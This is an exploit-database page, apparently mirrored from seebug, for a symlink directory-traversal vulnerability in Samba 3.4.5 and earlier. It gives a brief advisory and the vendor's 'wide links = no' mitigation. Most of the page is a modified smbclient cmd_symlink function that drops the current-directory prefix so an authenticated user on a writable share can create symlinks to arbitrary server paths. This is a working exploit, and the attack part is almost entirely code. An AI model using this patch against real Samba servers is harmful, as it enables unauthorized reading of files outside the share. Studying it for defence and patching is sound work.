Lucene search
K

Samba <= 3.4.5 Symlink Directory Traversal Vulnerability (2)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 33 Views

Samba <= 3.4.5 Directory Traversal Vulnerabilit

Code

                                                source: http://www.securityfocus.com/bid/38111/info
 
Samba is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input.
 
Exploits would allow an attacker to access files outside of the Samba user&#39;s root directory to obtain sensitive information and perform other attacks.
 
To exploit this issue, attackers require authenticated access to a writable share. Note that this issue may be exploited through a writable share accessible by guest accounts.
 
NOTE: The vendor stated that this issue stems from an insecure default configuration. The Samba team advises administrators to set &#39;wide links = no&#39; in the &#39;[global]&#39; section of &#39;smb.conf&#39;.
 
smbclient patch (exploit):

samba-3.4.5/source3/client/client.c
/****************************************************************************
 UNIX symlink.
****************************************************************************/

static int cmd_symlink(void)
{
        TALLOC_CTX *ctx = talloc_tos();
        char *oldname = NULL;
        char *newname = NULL;
        char *buf = NULL;
        char *buf2 = NULL;
        char *targetname = NULL;
        struct cli_state *targetcli;

        if (!next_token_talloc(ctx, &cmd_ptr,&buf,NULL) ||
            !next_token_talloc(ctx, &cmd_ptr,&buf2,NULL)) {
                d_printf(&#34;symlink &#60;oldname&#62; &#60;newname&#62;\n&#34;);
                return 1;
        }
        oldname = talloc_asprintf(ctx,
                        &#34;%s&#34;, // &#60;&#60; HERE modified
                        buf);
        if (!oldname) {
                return 1;
        }
        newname = talloc_asprintf(ctx,
                        &#34;%s&#34;, // &#60;&#60; HERE modified
                        buf2);
        if (!newname) {
                return 1;
        }
/* ORIGINAL SMBCLIENT SOURCE LINES TO BE MODIFIED (SEE ABOVE).
      oldname = talloc_asprintf(ctx,
                        &#34;%s%s&#34;, // &#60; modified (see above)
                        client_get_cur_dir(), // &#60; removed (see above)
                        buf);
        if (!oldname) {
                return 1;
        }
        newname = talloc_asprintf(ctx,
                        &#34;%s%s&#34;, // &#60; modified (see above)
                        client_get_cur_dir(), // &#60; removed (see above)
                        buf2);
        if (!newname) {
                return 1;
        }
----------------------------------------------*/

        if (!cli_resolve_path(ctx, &#34;&#34;, auth_info, cli, oldname, &targetcli, &targetname)) {
                d_printf(&#34;link %s: %s\n&#34;, oldname, cli_errstr(cli));
                return 1;

        }

        if (!SERVER_HAS_UNIX_CIFS(targetcli)) {
                d_printf(&#34;Server doesn&#39;t support UNIX CIFS calls.\n&#34;);
                return 1;
        }

        if (!cli_unix_symlink(targetcli, targetname, newname)) {
                d_printf(&#34;%s symlinking files (%s -&#62; %s)\n&#34;,
                        cli_errstr(targetcli), newname, targetname);
                return 1;
        }

        return 0;
}

// Cheers,
// kcope 

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation